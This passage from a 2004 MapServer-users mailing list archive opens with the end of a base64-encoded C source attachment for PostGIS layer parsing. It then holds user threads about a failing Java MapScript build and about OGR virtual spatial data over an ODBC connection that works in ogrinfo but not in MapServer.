ZCAndXNpbmcgU1JJRD0jJyBidXQgZGlkbnQgaGF2ZSBhbnkgbnVtYmVycyE8YnI+PGJyPlxuXG5N
b3JlIEhlbHA6PGJyPjxicj5cblxuIiksCgkJCQkJIm1zUE9TVEdJU0xheWVyUGFyc2VEYXRhKCki
KTsKCgkJCXJldHVybihNU19GQUlMVVJFKTsKCQl9CgkJZWxzZQoJCXsKCQkJc3RybmNweSh1c2Vy
X3NyaWQscG9zX3NyaWQrMTIsc2xlbmd0aCk7CgkJCXVzZXJfc3JpZFtzbGVuZ3RoXSA9IDA7IC8v
IG51bGwgdGVybWluYXRlIGl0CgkJfQoJfQoKCgkvLyB0aGlzIGlzIGEgbGl0dGxlIGhhY2sgc28g
dGhlIHJlc3Qgb2YgdGhlIGNvZGUgd29ya3MuICBJZiB0aGUgJyB1c2luZyBTUklEPScgY29tZXMg
YmVmb3JlCgkvLyB0aGUgJyB1c2luZyB1bmlxdWUgJywgdGhlbiBtYWtlIHN1cmUgcG9zX29wdCBw
b2ludHMgdG8gd2hlcmUgdGhlICcgdXNpbmcgU1JJRCcgc3RhcnRzIQoKCWlmIChwb3Nfb3B0ID09
IE5VTEwpCgl7CgkJcG9zX29wdCA9IHBvc19zcmlkOwoJfQoJZWxzZQoJewoJCWlmIChwb3Nfc3Jp
ZCAhPSBOVUxMKQoJCXsKCQkJaWYgKHBvc19vcHQ+cG9zX3NyaWQpCgkJCQlwb3Nfb3B0ID0gcG9z
X3NyaWQ7CgkJfQoKCX0KCgkvKiBTY2FuIGZvciB0aGUgdGFibGUgb3Igc3ViLXNlbGVjdCBjbGF1
c2UgKi8KCXBvc19zY24gPSBzdHJzdHIoZGF0YSwgIiBmcm9tICIpOwoJaWYgKHBvc19zY24gPT0g
TlVMTCkgewoJCW1zU2V0RXJyb3IoTVNfUVVFUllFUlIsCgkJCQkJREFUQUVSUk9STUVTU0FHRShk
YXRhLCJFcnJvciBwYXJzaW5nIFBPU1RHSVMgZGF0YSB2YXJpYWJsZS4gIE11c3QgY29udGFpbiAn
Z2VvbWV0cnlfY29sdW1uIGZyb20gdGFibGVfbmFtZScgb3IgJ2dlb20gZnJvbSAoc3Vic2VsZWN0
KSBhcyBmb28nIChjb3VsZG50IGZpbmQgJyBmcm9tICcpLiAgTW9yZSBoZWxwOiA8YnI+PGJyPlxu
XG4iKSwKCQkJCQkibXNQT1NUR0lTTGF5ZXJQYXJzZURhdGEoKSIpOwoKCQkvL21zU2V0RXJyb3Io
TVNfUVVFUllFUlIsICJFcnJvciBwYXJzaW5nIFBPU1RHSVMgZGF0YSB2YXJpYWJsZS4gIE11c3Qg
Y29udGFpbiAnZ2VvbWV0cnlfY29sdW1uIGZyb20gdGFibGVfbmFtZScgb3IgJ2dlb20gZnJvbSAo
c3Vic2VsZWN0KSBhcyBmb28nIChjb3VsZG50IGZpbmQgJyBmcm9tICcpLiIsICJtc1BPU1RHSVNM
YXllclBhcnNlRGF0YSgpIik7CgkJcmV0dXJuKE1TX0ZBSUxVUkUpOwoJfQoKCS8qIENvcHkgdGhl
IGdlb21ldHJ5IGNvbHVtbiBuYW1lICovCgltZW1jcHkoZ2VvbV9jb2x1bW5fbmFtZSwgZGF0YSwg
KHBvc19zY24pLShkYXRhKSk7CglnZW9tX2NvbHVtbl9uYW1lWyhwb3Nfc2NuKS0oZGF0YSldID0g
MDsgLy9udWxsIHRlcm1pbmF0ZSBpdAoKCS8qIENvcHkgb3V0IHRoZSB0YWJsZSBuYW1lIG9yIHN1
Yi1zZWxlY3QgY2xhdXNlICovCglpZiAocG9zX29wdCA9PSBOVUxMKSB7CgkJc3RyY3B5KHRhYmxl
X25hbWUsIHBvc19zY24gKyA2KTsJLy90YWJsZSBuYW1lIG9yIHN1Yi1zZWxlY3QgY2xhdXNlCgl9
CgllbHNlIHsKCQlzdHJuY3B5KHRhYmxlX25hbWUsIHBvc19zY24gKyA2LCAocG9zX29wdCkgLSAo
cG9zX3NjbiArIDYpKTsKCQl0YWJsZV9uYW1lWyhwb3Nfb3B0KSAtIChwb3Nfc2NuICsgNildID0g
MDsgLy9udWxsIHRlcm1pbmF0ZSBpdAoJfQoKCWlmICggKHN0cmxlbih0YWJsZV9uYW1lKSA8IDEg
KSB8fCAgKHN0cmxlbihnZW9tX2NvbHVtbl9uYW1lKSA8IDEgKSApIHsKCQltc1NldEVycm9yKE1T
X1FVRVJZRVJSLAoJCQkJCURBVEFFUlJPUk1FU1NBR0UoZGF0YSwiRXJyb3IgcGFyc2luZyBQT1NU
R0lTIGRhdGEgdmFyaWFibGUuICBNdXN0IGNvbnRhaW4gJ2dlb21ldHJ5X2NvbHVtbiBmcm9tIHRh
YmxlX25hbWUnIG9yICdnZW9tIGZyb20gKHN1YnNlbGVjdCkgYXMgZm9vJyAoY291bGRudCBmaW5k
IGEgZ2VvbWV0cnlfY29sdW1uIG9yIHRhYmxlL3N1YnNlbGVjdCkuICBNb3JlIGhlbHA6IDxicj48
YnI+XG5cbiIpLAoJCQkJCSJtc1BPU1RHSVNMYXllclBhcnNlRGF0YSgpIik7CgkJcmV0dXJuKE1T
X0ZBSUxVUkUpOwoJfQovL3ByaW50ZigibXNQT1NUR0lTTGF5ZXJQYXJzZURhdGE6IHVuaXF1ZSBj
b2x1bW4gPSAlcywgc3JpZD0nJXMnLCBnZW9tX2NvbHVtbl9uYW1lID0gJXMsIHRhYmxlX25hbWU9
JXNcbiIsIHVyaWRfbmFtZSx1c2VyX3NyaWQsZ2VvbV9jb2x1bW5fbmFtZSx0YWJsZV9uYW1lKTsK
CXJldHVybihNU19TVUNDRVNTKTsKfQoKI2Vsc2UKCi8vcHJvdG90eXBlcyBpZiBwb3N0Z2lzIGlz
bnQgc3VwcG9zZWQgdG8gYmUgY29tcGlsZWQKCmludCBtc1BPU1RHSVNMYXllck9wZW4obGF5ZXJP
YmogKmxheWVyKQp7CgkJbXNTZXRFcnJvcihNU19RVUVSWUVSUiwgIm1zUE9TVEdJU0xheWVyT3Bl
biBjYWxsZWQgYnV0IHVuaW1wbGVtZW50ZWQhICAobWFwc2VydmVyIG5vdCBjb21waWxlZCB3aXRo
IHBvc3RnaXMgc3VwcG9ydCkiLAogICAgICAgICAgICAgICAgICJtc1BPU1RHSVNMYXllck9wZW4o
KSIpOwoJCXJldHVybihNU19GQUlMVVJFKTsKfQoKdm9pZCBtc1BPU1RHSVNMYXllckZyZWVJdGVt
SW5mbyhsYXllck9iaiAqbGF5ZXIpCnsKCQltc1NldEVycm9yKE1TX1FVRVJZRVJSLCAibXNQT1NU
R0lTTGF5ZXJGcmVlSXRlbUluZm8gY2FsbGVkIGJ1dCB1bmltcGxlbWVudGVkIShtYXBzZXJ2ZXIg
bm90IGNvbXBpbGVkIHdpdGggcG9zdGdpcyBzdXBwb3J0KSIsCiAgICAgICAgICAgICAgICAgIm1z
UE9TVEdJU0xheWVyRnJlZUl0ZW1JbmZvKCkiKTsKfQppbnQgbXNQT1NUR0lTTGF5ZXJJbml0SXRl
bUluZm8obGF5ZXJPYmogKmxheWVyKQp7CgkJbXNTZXRFcnJvcihNU19RVUVSWUVSUiwgIm1zUE9T
VEdJU0xheWVySW5pdEl0ZW1JbmZvIGNhbGxlZCBidXQgdW5pbXBsZW1lbnRlZCEobWFwc2VydmVy
IG5vdCBjb21waWxlZCB3aXRoIHBvc3RnaXMgc3VwcG9ydCkiLAogICAgICAgICAgICAgICAgICJt
c1BPU1RHSVNMYXllckluaXRJdGVtSW5mbygpIik7CgkJcmV0dXJuKE1TX0ZBSUxVUkUpOwp9Cmlu
dCBtc1BPU1RHSVNMYXllcldoaWNoU2hhcGVzKGxheWVyT2JqICpsYXllciwgcmVjdE9iaiByZWN0
KQp7CgkJbXNTZXRFcnJvcihNU19RVUVSWUVSUiwgIm1zUE9TVEdJU0xheWVyV2hpY2hTaGFwZXMg
Y2FsbGVkIGJ1dCB1bmltcGxlbWVudGVkIShtYXBzZXJ2ZXIgbm90IGNvbXBpbGVkIHdpdGggcG9z
dGdpcyBzdXBwb3J0KSIsCiAgICAgICAgICAgICAgICAgIm1zUE9TVEdJU0xheWVyV2hpY2hTaGFw
ZXMoKSIpOwoJCXJldHVybihNU19GQUlMVVJFKTsKfQoKaW50IG1zUE9TVEdJU0xheWVyQ2xvc2Uo
bGF5ZXJPYmogKmxheWVyKQp7CgkJbXNTZXRFcnJvcihNU19RVUVSWUVSUiwgIm1zUE9TVEdJU0xh
eWVyQ2xvc2UgY2FsbGVkIGJ1dCB1bmltcGxlbWVudGVkIShtYXBzZXJ2ZXIgbm90IGNvbXBpbGVk
IHdpdGggcG9zdGdpcyBzdXBwb3J0KSIsCiAgICAgICAgICAgICAgICAgIm1zUE9TVEdJU0xheWVy
Q2xvc2UoKSIpOwoJCXJldHVybihNU19GQUlMVVJFKTsKfQoKaW50IG1zUE9TVEdJU0xheWVyTmV4
dFNoYXBlKGxheWVyT2JqICpsYXllciwgc2hhcGVPYmogKnNoYXBlKQp7CgkJbXNTZXRFcnJvcihN
U19RVUVSWUVSUiwgIm1zUE9TVEdJU0xheWVyTmV4dFNoYXBlIGNhbGxlZCBidXQgdW5pbXBsZW1l
bnRlZCEobWFwc2VydmVyIG5vdCBjb21waWxlZCB3aXRoIHBvc3RnaXMgc3VwcG9ydCkiLAogICAg
ICAgICAgICAgICAgICJtc1BPU1RHSVNMYXllck5leHRTaGFwZSgpIik7CgkJcmV0dXJuKE1TX0ZB
SUxVUkUpOwp9CgppbnQgbXNQT1NUR0lTTGF5ZXJHZXRTaGFwZShsYXllck9iaiAqbGF5ZXIsIHNo
YXBlT2JqICpzaGFwZSwgbG9uZyByZWNvcmQpCnsKCQltc1NldEVycm9yKE1TX1FVRVJZRVJSLCAi
bXNQT1NUR0lTTGF5ZXJHZXRTaGFwZSBjYWxsZWQgYnV0IHVuaW1wbGVtZW50ZWQhKG1hcHNlcnZl
ciBub3QgY29tcGlsZWQgd2l0aCBwb3N0Z2lzIHN1cHBvcnQpIiwKICAgICAgICAgICAgICAgICAi
bXNQT1NUR0lTTGF5ZXJHZXRTaGFwZSgpIik7CgkJcmV0dXJuKE1TX0ZBSUxVUkUpOwp9CgppbnQg
bXNQT1NUR0lTTGF5ZXJHZXRFeHRlbnQobGF5ZXJPYmogKmxheWVyLCByZWN0T2JqICpleHRlbnQp
CnsKCQltc1NldEVycm9yKE1TX1FVRVJZRVJSLCAibXNQT1NUR0lTTGF5ZXJHZXRFeHRlbnQgY2Fs
bGVkIGJ1dCB1bmltcGxlbWVudGVkIShtYXBzZXJ2ZXIgbm90IGNvbXBpbGVkIHdpdGggcG9zdGdp
cyBzdXBwb3J0KSIsCiAgICAgICAgICAgICAgICAgIm1zUE9TVEdJU0xheWVyR2V0RXh0ZW50KCki
KTsKCQlyZXR1cm4oTVNfRkFJTFVSRSk7Cn0KCmludCBtc1BPU1RHSVNMYXllckdldFNoYXBlUmFu
ZG9tKGxheWVyT2JqICpsYXllciwgc2hhcGVPYmogKnNoYXBlLCBsb25nICpyZWNvcmQpCnsKCQlt
c1NldEVycm9yKE1TX1FVRVJZRVJSLCAibXNQT1NUR0lTTGF5ZXJHZXRTaGFwZVJhbmRvbSBjYWxs
ZWQgYnV0IHVuaW1wbGVtZW50ZWQhKG1hcHNlcnZlciBub3QgY29tcGlsZWQgd2l0aCBwb3N0Z2lz
IHN1cHBvcnQpIiwKICAgICAgICAgICAgICAgICAibXNQT1NUR0lTTGF5ZXJHZXRTaGFwZVJhbmRv
bSgpIik7CgkJcmV0dXJuKE1TX0ZBSUxVUkUpOwp9CgppbnQgbXNQT1NUR0lTTGF5ZXJHZXRJdGVt
cyhsYXllck9iaiAqbGF5ZXIpCnsKCQltc1NldEVycm9yKE1TX1FVRVJZRVJSLCAibXNQT1NUR0lT
TGF5ZXJHZXRJdGVtcyBjYWxsZWQgYnV0IHVuaW1wbGVtZW50ZWQhKG1hcHNlcnZlciBub3QgY29t
cGlsZWQgd2l0aCBwb3N0Z2lzIHN1cHBvcnQpIiwKICAgICAgICAgICAgICAgICAibXNQT1NUR0lT
TGF5ZXJHZXRJdGVtcygpIik7CgkJcmV0dXJuKE1TX0ZBSUxVUkUpOwp9CgoKLy8gZW5kIGFib3Zl
J3MgI2lmZGVmIFVTRV9QT1NUR0lTCiNlbmRpZgo=

------_=_NextPart_001_01C3E136.1B97F4E3--


From bjh at globexplorer.com  Thu Jan 22 14:29:46 2004
From: bjh at globexplorer.com (Jean-Henry Berevoescu)
Date: Thu, 22 Jan 2004 14:29:46 -0800
Subject: [Mapserver-users] Problem building the Java Mapscript module
Message-ID: <40104EDA.50208@globexplorer.com>

Hi,
I recently saw a message about this problem and I tried to
fix the problem with the paches as indicated
(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?ObtainingAndInstallingTheSoftware)
The problem is still there.

Any hint/tip will be greatly apreciated.

Thanks,
Jean Berevoescu


Here is the output from the build:
======================================


[bjh at localhost java]$ make
/usr/local/swig/bin/swig -java -shadow -package edu.umn.gis.mapscript 
mapscript.i
Deprecated command line option: -shadow. Proxy classes are now generated 
by default.
gcc -fpic -c -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF -DUSE_JPEG 
-DUSE_GD_TTF -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP 
-DGD_HAS_GDIMAGEGIFPTR -I/usr/java/j2sdk1.4.2_03/include 
-I/usr/java/j2sdk1.4.2_03/include/linux mapscript_wrap.c
g++ -fpic -shared mapscript_wrap.o -o libmapscript.so -L/usr/local/lib 
-L../.. -lmap -lgd -ljpeg -lttf -lpng -lz -ltiff -ljpeg -lpng -lz -ljpeg -lm
/usr/java/j2sdk1.4.2_03/bin/javac -d . *.java
outputFormatObj.java:134: setExtension(java.lang.String) is already 
defined in edu.umn.gis.mapscript.outputFormatObj
  public void setExtension(String extension) {
              ^
outputFormatObj.java:138: setMimetype(java.lang.String) is already 
defined in edu.umn.gis.mapscript.outputFormatObj
  public void setMimetype(String mimetype) {
              ^
mapObj.java:307: clone() in edu.umn.gis.mapscript.mapObj cannot override 
clone() in java.lang.Object; attempting to use incompatible return type
found   : edu.umn.gis.mapscript.mapObj
required: java.lang.Object
  public mapObj clone() {
                ^
3 errors
make: *** [mapscript_java] Error 1

=====================================================


From John.Arthur at T-Mobile.com  Thu Jan 22 14:46:50 2004
From: John.Arthur at T-Mobile.com (Arthur, John)
Date: Thu, 22 Jan 2004 14:46:50 -0800
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
Message-ID: <3BCB64E6682DD24FB29B7135263B0C6C2006@vamerrifms01.gsm1900.org>

I just wanted you all to know that H?ryk is not alone.  I too, am having the
exact same issue.  Works fine with ogrinfo, but not with MapServer.  I only
have one version of gdal11.dll, so there should be no issues there.  

Could the problem be that the precompiled version that DM provides, was
compiled against a different version of gdal than what is provided by the
OpenEV_FW_163.zip?  Because the gdal11.dll contained in mapserver zip is
different that the version in the OpenEV_FW_163.zip.

-----Original Message-----
From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
Sent: Thursday, January 22, 2004 4:59 PM
To: 'spencer at dmsolutions.ca'
Cc: 'Normand Savard'; 'Frank Warmerdam';
'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin
Subject: RE: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Hi,
Yes the ovf file works with ogrinfo.
Martin checked the gdal11.dll and that does not seem to be the problem.


D:\WebScripts\MapServer>ogrinfo
D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
ERROR 4: Update access not supported for VRT datasources.
Had to open data source read-only.
INFO: Open of
`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
using driver `VRT' successful.
1: MGWI_TBLLOC (Point)


As suggested, I'll "return to my mapfile"!

I now have a new understanding of one of the Virtual Spatial Data
prerequisites: "that you are not afraid to figure things out"!!

(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData)

:-/

H?ryk

-----Message d'origine-----
De : Paul Spencer [mailto:pagameba at magma.ca]
Envoy? : Thursday, January 22, 2004 3:09 PM
? : Julien, Heryk
Cc : 'Mapserver-users at lists.gis.umn.edu'
Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Does the ovf file work with ogrinfo?  That is the first place to start 
because it will give you more detailed debugging information.  Once that 
works, then you should return to the map file.  Until you can get the 
ovf file to work with ogrinfo, you are not going to get useful debugging 
information because MapServer will continue to tell you that it can't 
draw the layer with misleading information.

BTW, one other thing to check .. gdal11.dll may appear in multiple 
places in your system and you may not be using the one you think you 
are.  Search your system for this file and make sure they are all the 
same, or that you are certain that mapserver is using the right one.

Cheers,

Paul

Julien, Heryk wrote:

> Hi Norm,
> That was a cut and paste error in my email.
> The virtual file is okay: mgwi.ovf
> 
> I tried the mapfile LABELITEM suggestion:" may need to use table.name or
> just name depending on your OVF file".
> 
> I also tried a relative and absolute CONNECTION in the mapfile.
> 
> I keep on getting the following message:
> msDrawMap(): Image handling error. Failed to draw layer named
'MGWI_TBLLOC'.
> 
> msOGRFileOpen(): OGR error. Open failed for OGR connection
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'. File
not
> found or unsupported format. 
> 
> 
> H?ryk
> 
> 
> 
> -----Message d'origine-----
> De : Normand Savard [mailto:nsavard at dmsolutions.ca]
> Envoy? : Thursday, January 22, 2004 1:48 PM
> ? : Julien, Heryk
> Cc : 'spencer at dmsolutions.ca'; 'Frank Warmerdam';
> 'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin
> Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
> Connectiontype)
> 
> 
> Julien,
> 
> What is the exact name of your "ovf" file?  Because the name you 
> specified in the "CONNECTION" parameter in the map file does not match 
> the one given for you "ovf" file.
> 
> See in your email below:  "Here is my virtual file (mgw.ovf):"
> 
> See your "CONNECTION" parameter into your map file for your specific 
> virtual layer:
> 
> ...
> CONNECTIONTYPE OGR
> CONNECTION "mgwi.ovf"
> 
> ...
> 
> Norm
> 
> 
> Julien, Heryk wrote:
> 
> 
>>Hi to all,
>>
>>I replaced my version of Mapserver with a precompiled one. I also
installed
>>the latest  version of gdal11.dll and ogrinfo from the OpenEV_FW zip.
>>
>>As suggested by Frank Warmerdam I used the following SrcDataSource tag in
>>the virtual file:
>>ODBC:MGWI_MAPSERVER. MGWI_MAPSERVER is the
>>DSN for my ODBC data source.
>>
>>Here is the orginfo output:
>>
>>D:\WebScripts\MapServer>ogrinfo --formats
>>Loaded OGR Format Drivers:
>> -> "ESRI Shapefile" (read/write)
>> -> "UK .NTF" (readonly)
>> -> "SDTS" (readonly)
>> -> "TIGER" (read/write)
>> -> "S57" (read/write)
>> -> "MapInfo File" (read/write)
>> -> "DGN" (read/write)
>> -> "VRT" (readonly)
>> -> "AVCBin" (readonly)
>> -> "REC" (readonly)
>> -> "Memory" (read/write)
>> -> "GML" (read/write)
>> -> "ODBC" (read/write)
>> -> "OGDI" (readonly)
>> -> "FMEObjects Gateway" (readonly)
>>
>>D:\WebScripts\MapServer>ogrinfo
>>D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
>>ERROR 4: Update access not supported for VRT datasources.
>>Had to open data source read-only.
>>INFO: Open of
>>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>>using driver `VRT' successful.
>>1: MGWI_TBLLOC (Point)
>>
>>When I execute Mapserver I got the following message:
>>msDrawMap(): Image handling error. Failed to draw layer named
> 
> 'MGWI_TBLLOC'.
> 
>>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'.
File
>>not found or unsupported format. 
>>
>>
>>
>>Thanks for the help
>>
>>H?ryk
>>
>>
>>
>>-----Message d'origine-----
>>De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>>Envoy? : Wednesday, January 21, 2004 5:26 PM
>>? : Julien, Heryk
>>Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>>Anctil, Martin
>>Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
>>Connectiontype)
>>
>>
>>Julien,
>>
>>Just because I do not know all the steps you have done, can you tell me 
>>if you were able to have some output form "ogrinfo" command?
>>
>>Norm
>>
>>Julien, Heryk wrote:
>>
>> 
>>
>>
>>>Hi Paul,
>>>What do I write in the virtual file SrcDataSource tag when I log on a
>>>   
>>>
>>
>>Access
>> 
>>
>>
>>>db with no user restrictions and pass word?
>>>I've tried the following combinations without success:
>>>
>>>ODBC:MGWI_MAPSERVER
>>>ODBC:@MGWI_MAPSERVER
>>>ODBC:/@MGWI_MAPSERVER
>>>ODBC:administor/@MGWI_MAPSERVER 
>>>ODBC:administeur/@MGWI_MAPSERVER
>>>
>>>Thanks
>>>H?ryk
>>>
>>>
>>>-----Message d'origine-----
>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>Envoy? : Wednesday, January 21, 2004 1:43 PM
>>>? : Julien, Heryk
>>>Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>>>Anctil, Martin
>>>Objet : [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
>>>
>>>
>>>I believe there is a limitation in the OGR OBDC connection that requires 
>>>that you provide a user name and password in the OVF file (I think that 
>>>is mentioned in the wiki also).
>>>
>>>Cheers,
>>>
>>>Paul
>>>
>>>Julien, Heryk wrote:
>>>
>>>
>>>   
>>>
>>>
>>>>Hi,
>>>>I'm trying out the Virtual Spatial Data procedure in MapServerWiki
>>>>(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData) with
> 
> IIS
> 
>>>>and an Access 2000 ODBC connection.
>>>>
>>>>I keep on getting the following error message when I attempt ton see my
>>>>  
>>>>
>>>>     
>>>>
>>>
>>>map:
>>>
>>>
>>>   
>>>
>>>
>>>>msDrawMap(): Image handling error. Failed to draw layer named
>>>>  
>>>>
>>>>     
>>>>
>>>
>>>'MGWI_TBLLOC'.
>>>
>>>
>>>   
>>>
>>>
>>>>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'.
>>>>  
>>>>
>>>>     
>>>>
>>>
>>>File
>>>
>>>
>>>   
>>>
>>>
>>>>not found or unsupported format.
>>>>
>>>>Anyone can help me?
>>>>
>>>>
>>>>
>>>>Here is my virtual file (mgw.ovf):
>>>>
>>>>
>>>>  
>>>>      ODBC:MGWI_MAPSERVER 
>>>>	tblloc 
>>>>	wkbPoint
>>>>	         
>>>>	 
>>>>  
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>My virtual layer is in the same directory as my shapefiles:
>>>>
>>>>SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
>>>>
>>>>
>>>>
>>>>
>>>>Here is the section of my mapfile where I call my virtual layer:
>>>>
>>>>LAYER
>>>>	NAME "MGWI_TBLLOC"
>>>>	TYPE POINT
>>>>	CONNECTIONTYPE OGR
>>>>	CONNECTION "mgwi.ovf"
>>>>	DATA "MGWI_TBLLOC"
>>>>	STATUS DEFAULT
>>>>	LABELITEM "LOCID"
>>>>	PROJECTION
>>>>		"init=epsg:26920"
>>>>	END #projection
>>>>	CLASS
>>>>		SYMBOL 'circle'
>>>>		SIZE 8
>>>>		LABEL
>>>>			COLOR 132 31 31
>>>>			SHADOWCOLOR 218 218 218
>>>>			SHADOWSIZE 2 2
>>>>			TYPE TRUETYPE
>>>>			FONT arial-bold
>>>>			FORCE true
>>>>			SIZE 10
>>>>			POSITION auto
>>>>			PARTIALS FALSE
>>>>			MINDISTANCE 0
>>>>			BUFFER 2
>>>>		END # end of label
>>>>	    TEMPLATE
>>>>"d:\webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.htm
l
> 
> "
> 
>>>>	END # CLASS
>>>>END # LAYER
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>==========================================
>>>>H?ryk
>>>>NRCan
>>>>
>>>>-----Message d'origine-----
>>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>>Envoy? : Wednesday, January 14, 2004 8:44 AM
>>>>? : 'spencer at dmsolutions.ca'
>>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>>Objet : RE: TR: [Mapserver-users] MySQL and Mapserver
>>>>
>>>>
>>>>Thanks
>>>>
>>>>H?ryk
>>>>
>>>>-----Message d'origine-----
>>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>>Envoy? : Tuesday, January 13, 2004 5:00 PM
>>>>? : Julien, Heryk
>>>>Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
>>>>Objet : Re: TR: [Mapserver-users] MySQL and Mapserver
>>>>
>>>>
>>>>Maybe you missed it?
>>>>
>>>>
>>>>  
>>>>
>>>>     
>>>>
>>>
>>>http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.ht
m
> 
> l
> 
>>>
>>>   
>>>
>>>
>>>>Cheers,
>>>>
>>>>Paul
>>>>
>>>>Julien, Heryk wrote:
>>>>
>>>>
>>>>  
>>>>
>>>>     
>>>>
>>>>
>>>>>Hi Paul,
>>>>>Could you send me or post information on the "new format in 
>>>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>>>source and map two of the columns to x and y locations"?
>>>>>
>>>>>Thanks
>>>>>H?ryk
>>>>>
>>>>>-----Message d'origine-----
>>>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>>>Envoy? : Monday, January 05, 2004 9:23 AM
>>>>>? : 'spencer at dmsolutions.ca'
>>>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>>>Objet : RE: [Mapserver-users] MySQL and Mapserver
>>>>>
>>>>>
>>>>>Hi,
>>>>>I am also very interseted in that fonction. I would like to be able to
>>>>>       
>>>>>
>>
>>map
>> 
>>
>>
>>>>>well positions from a database x and y colums. Would this permit me to
>>>>>    
>>>>>
>>>>>       
>>>>>
>>>>
>>>>have
>>>>
>>>>  
>>>>
>>>>     
>>>>
>>>>
>>>>>an up to date point geometry layer which reflects the changes in my
well
>>>>>database? Can you send me more details?
>>>>>
>>>>>Thanks
>>>>>
>>>>>H?ryk
>>>>>NRCan
>>>>>
>>>>>-----Message d'origine-----
>>>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>>>Envoy? : Saturday, January 03, 2004 4:28 PM
>>>>>? : bartvde at xs4all.nl
>>>>>Cc : mapserver-users at lists.gis.umn.edu
>>>>>Objet : Re: [Mapserver-users] MySQL and Mapserver
>>>>>
>>>>>
>>>>>Bart,
>>>>>
>>>>>if you are interested in point geometries only, there is a new format
in
> 
> 
>>>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>>>source and map two of the columns to x and y locations.  We've used it 
>>>>>for a couple of clients and it works very nicely.  If you are
interested
> 
> 
>>>>>I can send you more details.
>>>>>
>>>>>Cheers,
>>>>>
>>>>>Paul
>>>>>
>>>>>Bart van den Eijnden wrote:
>>>>>
>>>>>
>>>>>
>>>>>    
>>>>>
>>>>>       
>>>>>
>>>>>
>>>>>>Hi list,
>>>>>>
>>>>>>I see in the history log that there has been some work done recently 
>>>>>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>>>>>connector. Can it be used already?
>>>>>>
>>>>>>Also, is it possible to keep the geometries in shapefiles and use 
>>>>>>Mapserver JOINS to link to tables in MySQL?
>>>>>>
>>>>>>Thanks in advance for the info.
>>>>>>
>>>>>>Best regards,
>>>>>>Bart
>>>>>>_______________________________________________
>>>>>>Mapserver-users mailing list
>>>>>>Mapserver-users at lists.gis.umn.edu
>>>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>>>
>>>>>>      
>>>>>>
>>>>>>         
>>>>>>
>>>>>
>>>>>    
>>>>>
>>>>>       
>>>>>
>>>
>>>
>>>   
>>>
>>
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>> 
>>
> 
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From James.P.Buzbee at lmco.com  Thu Jan 22 14:51:01 2004
From: James.P.Buzbee at lmco.com (Jim Buzbee)
Date: Thu, 22 Jan 2004 15:51:01 -0700
Subject: [Mapserver-users] Problem building the Java Mapscript module
In-Reply-To: <40104EDA.50208@globexplorer.com>
References: <40104EDA.50208@globexplorer.com>
Message-ID: <401053D5.2030606@lmco.com>


Jean-Henry Berevoescu wrote:
> 
> Hi,
> I recently saw a message about this problem and I tried to
> fix the problem with the paches as indicated
> (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?ObtainingAndInstallingTheSoftware) 
> 
> The problem is still there.
> 
> Any hint/tip will be greatly apreciated.

Comments below, (from memory, may not be completely accurate ) Basically 
you just need to fix the errors and rebuild that portion...

> 
> Thanks,
> Jean Berevoescu
> 
> 
> Here is the output from the build:
